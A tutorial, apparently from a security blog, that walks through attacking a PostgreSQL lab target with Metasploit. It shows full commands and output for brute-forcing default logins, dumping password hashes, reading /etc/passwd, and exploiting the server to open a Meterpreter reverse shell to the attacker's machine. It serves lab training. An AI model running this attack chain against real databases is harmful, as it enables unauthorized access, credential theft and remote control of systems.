Attacks against databases have become one of the most popular and lucrative activities for hackers recently. New data breaches seem to be popping up every week, but even with all of that attention, databases continue to be a prime target. All of these attacks have to start somewhere, and we'll be exploring a variety of methods to gather information on PostgreSQL databases with Metasploit.
PostgreSQL is an open-source relational database management system (RDBMS) that uses the SQL language, along with many other features, to handle a wide variety of data workloads. Initially developed for Unix, PostgreSQL runs on all major operating systems and is the default database for macOS Server.
PostgreSQL is known for its extensibility, reliability, data integrity, strong architecture, and robust feature set, including the popular PostGIS geospatial database extender. It's also ACID compliant and has a dedicated open-source community.
For the most part, PostgreSQL conforms with SQL language standards, but some syntax and functions differ slightly. It's often used for heavy workloads, where concurrency and performance are a priority, and offers modern security and recovery features that are essential in enterprise environments. Overall, PostgreSQL is a fantastic RDBMS that's both flexible and extensible.
Step 1: Use an Nmap Scan
In this guide, we're using Metasploitable 2 as the target and Kali Linux as the local machine. You can use the same or something similar.
After getting the testing lab set up, we need to determine if the PostgreSQL service is running on the target. To do so, we can run an Nmap scan on port 5432, which is usually the default port for PostgreSQL. Use the -p flag to specify the port and -sV to enable version detection:
~# nmap -sV 10.10.0.50 -p 5432
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 11:41 CST
Nmap scan report for 10.10.0.50
Host is up (0.00064s latency).
PORT STATE SERVICE VERSION
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
MAC Address: 00:1D:09:55:B1:3B (Dell)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds
We can see that the PostgreSQL service is open on the target and running version 8.3.0 – 8.3.7.
Step 2: Get the Version Info
Metasploit has a number of modules that we can use to gather useful information about PostgreSQL databases. Fire it up by typing msfconsole in the terminal.
~# msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v5.0.87-dev ]
+ -- --=[ 2006 exploits - 1096 auxiliary - 343 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it with setg RHOSTS x.x.x.x
msf5 >
Once it loads, we can use the search function to look for modules related to PostgreSQL:
msf5 > search postgre
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal Yes ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
1 auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal No Ruby on Rails Devise Authentication Password Reset
2 auxiliary/admin/postgres/postgres_readfile normal No PostgreSQL Server Generic Query
3 auxiliary/admin/postgres/postgres_sql normal No PostgreSQL Server Generic Query
4 auxiliary/analyze/crack_databases normal No Password Cracker: Databases
5 auxiliary/analyze/jtr_postgres_fast normal No John the Ripper Postgres SQL Password Cracker
6 auxiliary/scanner/postgres/postgres_dbname_flag_injection normal Yes PostgreSQL Database Name Command Line Flag Injection
7 auxiliary/scanner/postgres/postgres_hashdump normal Yes Postgres Password Hashdump
8 auxiliary/scanner/postgres/postgres_login normal Yes PostgreSQL Login Utility
9 auxiliary/scanner/postgres/postgres_schemadump normal Yes Postgres Schema Dump
10 auxiliary/scanner/postgres/postgres_version normal Yes PostgreSQL Version Probe
11 auxiliary/server/capture/postgresql normal No Authentication Capture: PostgreSQL
12 exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes PostgreSQL for Linux Payload Execution
13 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
14 exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20 excellent Yes PostgreSQL COPY FROM PROGRAM Command Execution
15 exploit/multi/postgres/postgres_createlang 2016-01-01 good Yes PostgreSQL CREATE LANGUAGE Execution
16 exploit/windows/misc/manageengine_eventlog_analyzer_rce 2015-07-11 manual Yes ManageEngine EventLog Analyzer Remote Code Execution
17 exploit/windows/postgres/postgres_payload 2009-04-10 excellent Yes PostgreSQL for Microsoft Windows Payload Execution
18 post/linux/gather/enum_users_history normal No Linux Gather User History
The first one we'll cover will give us some information about the running version. It never hurts to double-check since certain exploits will only work for certain versions. Load the module with the use command:
msf5 > use auxiliary/scanner/postgres/postgres_version
Next, let's take a look at the options to view the current settings:
msf5 auxiliary(scanner/postgres/postgres_version) > options
Module options (auxiliary/scanner/postgres/postgres_version):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
We can leave all the defaults for now, but we will need to set the rhosts option to the IP address of our target:
msf5 auxiliary(scanner/postgres/postgres_version) > set rhosts 10.10.0.50
rhosts => 10.10.0.50
Now all we have to do is run it; use the run command to kick it off:
msf5 auxiliary(scanner/postgres/postgres_version) > run
[*] 10.10.0.50:5432 Postgres - Version PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
And we can see the version number is 8.3.1, which is a little more specific than what Nmap returned.
Step 3: Brute-Force the Login
The next module we'll look at will attempt to brute-force the login to the PostgreSQL database using a list of default usernames and passwords. Load it with the use command:
msf5 > use auxiliary/scanner/postgres/postgres_login
Let's take a look at this modules' options:
msf5 auxiliary(scanner/postgres/postgres_login) > options
Module options (auxiliary/scanner/postgres/postgres_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DATABASE template1 yes The database to authenticate against
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RETURN_ROWSET true no Set to true to see query result sets
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt no File containing (space-separated) users and passwords, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
This one has a few more options we can mess with, but for now, the defaults will work. Just set the remote hosts option again, and we should be good to go:
msf5 auxiliary(scanner/postgres/postgres_login) > set rhosts 10.10.0.50
rhosts => 10.10.0.50
Now we can launch the module:
msf5 auxiliary(scanner/postgres/postgres_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 10.10.0.50:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 10.10.0.50:5432 - Login Successful: postgres:postgres@template1
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
We can see it go through each username and password combination, most of which fail, but we are left with one successful login.
Step 4: Run SQL Queries
We can run SQL queries right from another Metasploit module instead of logging into the database directly. Load the module:
msf5 > use auxiliary/admin/postgres/postgres_sql
And take a look at the options:
msf5 auxiliary(admin/postgres/postgres_sql) > options
Module options (auxiliary/admin/postgres/postgres_sql):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RETURN_ROWSET true no Set to true to see query result sets
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
SQL select version() no The SQL query to execute
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
Instead of setting the remote hosts option each time, we can use the setg command to set the option globally. This means it will remain set when we switch to other modules unless we change it again.
msf5 auxiliary(admin/postgres/postgres_sql) > setg rhosts 10.10.0.50
rhosts => 10.10.0.50
The default query for this module is set to select the version of the database — let's see what that looks like:
msf5 auxiliary(admin/postgres/postgres_sql) > run
[*] Running module against 10.10.0.50
Query Text: 'select version()'
==============================
version
-------
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Auxiliary module execution completed
But we can set this option to any valid SQL code we want. For instance, the following query will return the username and password of the current user:
SELECT usename, passwd FROM pg_shadow;
Let's set the option to this now:
msf5 auxiliary(admin/postgres/postgres_sql) > set sql select usename, passwd from pg_shadow
sql => select usename, passwd from pg_shadow
And run the module again:
msf5 auxiliary(admin/postgres/postgres_sql) > run
[*] Running module against 10.10.0.50
Query Text: 'select usename, passwd from pg_shadow'
===================================================
usename passwd
------- ------
postgres md53175bce1d3201d16594cebf9d7eb3f9d
[*] Auxiliary module execution completed
Now we can see the username and password hash of the current user.
Step 5: Dump the Hashes
Metasploit also has a module that will quickly dump any password hashes in the database for us. Load it up:
msf5 > use auxiliary/scanner/postgres/postgres_hashdump
And view the options:
msf5 auxiliary(scanner/postgres/postgres_hashdump) > options
Module options (auxiliary/scanner/postgres/postgres_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE postgres yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS 10.10.0.50 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME postgres yes The username to authenticate as
Everything looks good at this point, and since we already set the remote host earlier, all we have to do is run it:
msf5 auxiliary(scanner/postgres/postgres_hashdump) > run
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================
Username Hash
-------- ----
postgres md53175bce1d3201d16594cebf9d7eb3f9d
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
We can see the query runs successfully and returns the password hash.
Step 6: Dump Schema Info
The next module we'll cover will attempt to dump any schema information it can find about the database. This can be useful to get a broad picture of all the databases, tables, and settings in use. Load the module:
msf5 > use auxiliary/scanner/postgres/postgres_schemadump
And check the options:
msf5 auxiliary(scanner/postgres/postgres_schemadump) > options
Module options (auxiliary/scanner/postgres/postgres_schemadump):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE postgres yes The database to authenticate against
DISPLAY_RESULTS true yes Display the Results to the Screen
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS 10.10.0.50 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME postgres yes The username to authenticate as
We can leave the defaults and launch the module:
msf5 auxiliary(scanner/postgres/postgres_schemadump) > run
[+] Postgres SQL Server Schema
Host: 10.10.0.50
Port: 5432
====================
--- []
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
We can see that it didn't return anything, but it's worth a shot to try and gather data like this for reconnaissance.
Step 7: Read the System Files
We can also use Metasploit to read system files via the PostgreSQL database. Load the module:
msf5 > use auxiliary/admin/postgres/postgres_readfile
And take a look at the options:
msf5 auxiliary(admin/postgres/postgres_readfile) > options
Module options (auxiliary/admin/postgres/postgres_readfile):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RFILE /etc/passwd yes The remote file
RHOSTS 10.10.0.50 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
The default remote file to read is set to /etc/passwd, which will work for now. Let's kick it off:
msf5 auxiliary(admin/postgres/postgres_readfile) > run
[*] Running module against 10.10.0.50
Query Text: 'CREATE TEMP TABLE hoieZbLAeCQ (INPUT TEXT);
COPY hoieZbLAeCQ FROM '/etc/passwd';
SELECT * FROM hoieZbLAeCQ'
====================================================================================================================================
input
-----
backup:x:34:34:backup:/var/backups:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
bind:x:105:113::/var/cache/bind:/bin/false
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
distccd:x:111:65534::/:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
games:x:5:60:games:/usr/games:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
klog:x:103:104::/home/klog:/bin/false
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
news:x:9:9:news:/var/spool/news:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
postfix:x:106:115::/var/spool/postfix:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
proftpd:x:113:65534::/var/run/proftpd:/bin/false
proxy:x:13:13:proxy:/bin:/bin/sh
root:x:0:0:root:/root:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
statd:x:114:65534::/var/lib/nfs:/bin/false
sync:x:4:65534:sync:/bin:/bin/sync
sys:x:3:3:sys:/dev:/bin/sh
syslog:x:102:103::/home/syslog:/bin/false
telnetd:x:112:120::/nonexistent:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
[+] 10.10.0.50:5432 Postgres - /etc/passwd saved in /root/.msf4/loot/20191211120809_default_10.10.0.50_postgres.file_153011.txt
[*] Auxiliary module execution completed
We can see that it first creates a temporary table, copies the content of the desired file, and returns it to us on the screen. It also saves this as loot to use at a later convenience.
Let's try to read a different file – perhaps /etc/shadow this time. First, set the option:
msf5 auxiliary(admin/postgres/postgres_readfile) > set rfile /etc/shadow
rfile => /etc/shadow
Then, run the module:
msf5 auxiliary(admin/postgres/postgres_readfile) > run
[*] Running module against 10.10.0.50
[-] 10.10.0.50:5432 Postgres - Insufficent file permissions.
[*] Auxiliary module execution completed
We can see this time that it was unsuccessful since we don't have the necessary file permissions. Always worth a try, though.
Step 8: Send a Payload
The final module we will explore today is an exploit that will attempt to place and execute a payload on the target. First, load the module:
msf5 > use exploit/linux/postgres/postgres_payload
And view the options:
msf5 exploit(linux/postgres/postgres_payload) > options
Module options (exploit/linux/postgres/postgres_payload):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS 10.10.0.50 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
Exploit target:
Id Name
-- ----
0 Linux x86
Everything looks good, but since this is an exploit, we'll need to set a payload. Use the show command to see the available payloads for this module:
msf5 exploit(linux/postgres/postgres_payload) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 generic/custom normal No Custom Payload
1 generic/debug_trap normal No Generic x86 Debug Trap
2 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 generic/tight_loop normal No Generic x86 Tight Loop
5 linux/x86/chmod normal No Linux Chmod
6 linux/x86/exec normal No Linux Execute Command
7 linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
17 linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
18 linux/x86/read_file normal No Linux Read File
19 linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
20 linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
21 linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
22 linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
23 linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
24 linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
25 linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
26 linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
27 linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
28 linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
29 linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
30 linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
31 linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
32 linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Let's use the popular Meterpreter reverse shell; use the set command to set the payload:
msf5 exploit(linux/postgres/postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
We need to set the local host and local port options since this is a reverse shell. Set the lhost to the IP address of our local machine:
msf5 exploit(linux/postgres/postgres_payload) > set lhost 10.10.0.1
lhost => 10.10.0.1
And the lport to a port of your choosing:
msf5 exploit(linux/postgres/postgres_payload) > set lport 4321
lport => 4321
That should be everything we need, so let's kick it off:
msf5 exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 10.10.0.1:4321
[*] 10.10.0.50:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/FKXyvnhM.so, should be cleaned up automatically
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.50:37662) at 2020-05-10 12:18:23 -0600
meterpreter >
We can see it creates the handler, uploads the payload on the target, and finally, opens a session. We can now run commands like sysinfo to verify we have a shell on the target:
meterpreter > sysinfo
Computer : metasploitable.localdomain
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
Wrapping Up
Today we learned about PostgreSQL databases and how to gather information on them to aid in recon. First, we ran an Nmap scan to verify the service was open on the target. Next, we covered a variety of modules for collecting information, including version, login credentials, and password hashes. Finally, we used a module to exploit PostgreSQL, and ultimately obtained a Meterpreter session on the target.
Cover image by Tim van der Kuip/Unsplash
Comments
No Comments Exist
Be the first, drop a comment!